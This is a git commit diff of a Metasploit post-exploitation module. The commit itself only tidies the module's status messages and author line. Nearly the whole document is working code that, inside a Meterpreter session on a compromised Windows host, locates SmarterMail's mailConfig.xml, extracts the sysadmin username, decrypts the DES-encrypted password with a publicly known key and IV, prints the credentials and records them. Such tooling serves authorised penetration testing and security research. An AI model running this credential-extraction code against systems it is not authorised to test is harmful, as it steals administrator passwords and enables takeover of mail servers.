Modify prints
parent
62dca111f8
commit
2b2194cee8
|
@ -1,15 +1,13 @@
|
||||||
# -*- coding: utf-8 -*-
|
|
||||||
##
|
##
|
||||||
# This module requires Metasploit: http//metasploit.com/download
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/auxiliary/report'
|
require 'msf/core/auxiliary/report'
|
||||||
require 'rex'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Post::File
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(
|
super(update_info(
|
||||||
|
@ -19,12 +17,13 @@ class Metasploit3 < Msf::Post
|
||||||
This module extracts and decrypts the sysadmin password in the
|
This module extracts and decrypts the sysadmin password in the
|
||||||
SmarterMail 'mailConfig.xml' configuration file. The encryption
|
SmarterMail 'mailConfig.xml' configuration file. The encryption
|
||||||
key and IV are publicly known.
|
key and IV are publicly known.
|
||||||
|
|
||||||
This module has been tested successfully on SmarterMail versions
|
This module has been tested successfully on SmarterMail versions
|
||||||
10.7.4842 and 11.7.5136.
|
10.7.4842 and 11.7.5136.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Joe Giron @theonlyevil1', # Discovery and PoC
|
'Joe Giron', # Discovery and PoC (@theonlyevil1)
|
||||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -36,6 +35,10 @@ class Metasploit3 < Msf::Post
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{session.sock.peerhost} (#{sysinfo['Computer']})"
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Decrypt DES encrypted password string
|
# Decrypt DES encrypted password string
|
||||||
#
|
#
|
||||||
|
@ -56,12 +59,10 @@ class Metasploit3 < Msf::Post
|
||||||
['Program Files (x86)', 'Program Files'].each do |program_dir|
|
['Program Files (x86)', 'Program Files'].each do |program_dir|
|
||||||
begin
|
begin
|
||||||
path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml"
|
path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml"
|
||||||
vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " +
|
vprint_status "#{peer} - Checking for SmarterMail config file: #{path}"
|
||||||
"Checking for SmarterMail config file: #{path}"
|
|
||||||
return path if client.fs.file.stat(path)
|
return path if client.fs.file.stat(path)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " +
|
print_error "#{peer} - Could not load #{path} - #{e}"
|
||||||
"Could not load #{path} - #{e}"
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -72,18 +73,15 @@ class Metasploit3 < Msf::Post
|
||||||
#
|
#
|
||||||
def get_smartermail_creds(path)
|
def get_smartermail_creds(path)
|
||||||
result = {}
|
result = {}
|
||||||
vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " +
|
vprint_status "#{peer} - Retrieving SmarterMail sysadmin password"
|
||||||
'Retrieving SmarterMail sysadmin password'
|
|
||||||
begin
|
begin
|
||||||
data = read_file("#{path}") || ''
|
data = read_file("#{path}") || ''
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " +
|
print_error "#{peer} - Failed to download #{path} - #{e.to_s}"
|
||||||
"Failed to download #{path} - #{e}"
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
if data.nil?
|
if data.nil?
|
||||||
print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " +
|
print_error "#{peer} - Configuration file is empty."
|
||||||
'Configuration file is empty.'
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
|
username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
|
||||||
|
@ -100,27 +98,26 @@ class Metasploit3 < Msf::Post
|
||||||
# check for SmartMail config file
|
# check for SmartMail config file
|
||||||
config_path = check_smartermail
|
config_path = check_smartermail
|
||||||
if config_path.nil?
|
if config_path.nil?
|
||||||
print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " +
|
print_error "#{peer} - Could not find SmarterMail config file"
|
||||||
'Could not find SmarterMail config file'
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# retrieve username and decrypted password from config file
|
# retrieve username and decrypted password from config file
|
||||||
result = get_smartermail_creds(config_path)
|
result = get_smartermail_creds(config_path)
|
||||||
if result['password'].nil?
|
if result['password'].nil?
|
||||||
print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " +
|
print_error "#{peer} - Could not decrypt password string"
|
||||||
'Could not decrypt password string'
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# report result
|
# report result
|
||||||
print_good "#{session.sock.peerhost} (#{sysinfo['Computer']}) - Found credentials. " +
|
user = result['username']
|
||||||
"Username: '#{result['username']}' Password: '#{result['password']}'"
|
pass = result['password']
|
||||||
|
print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'"
|
||||||
report_auth_info(
|
report_auth_info(
|
||||||
:host => session.sock.peerhost,
|
:host => session.sock.peerhost,
|
||||||
:sname => 'http',
|
:sname => 'http',
|
||||||
:user => result['username'],
|
:user => user,
|
||||||
:pass => result['password'],
|
:pass => pass,
|
||||||
:source_id => session.db_record ? session.db_record.id : nil,
|
:source_id => session.db_record ? session.db_record.id : nil,
|
||||||
:source_type => 'vuln')
|
:source_type => 'vuln')
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue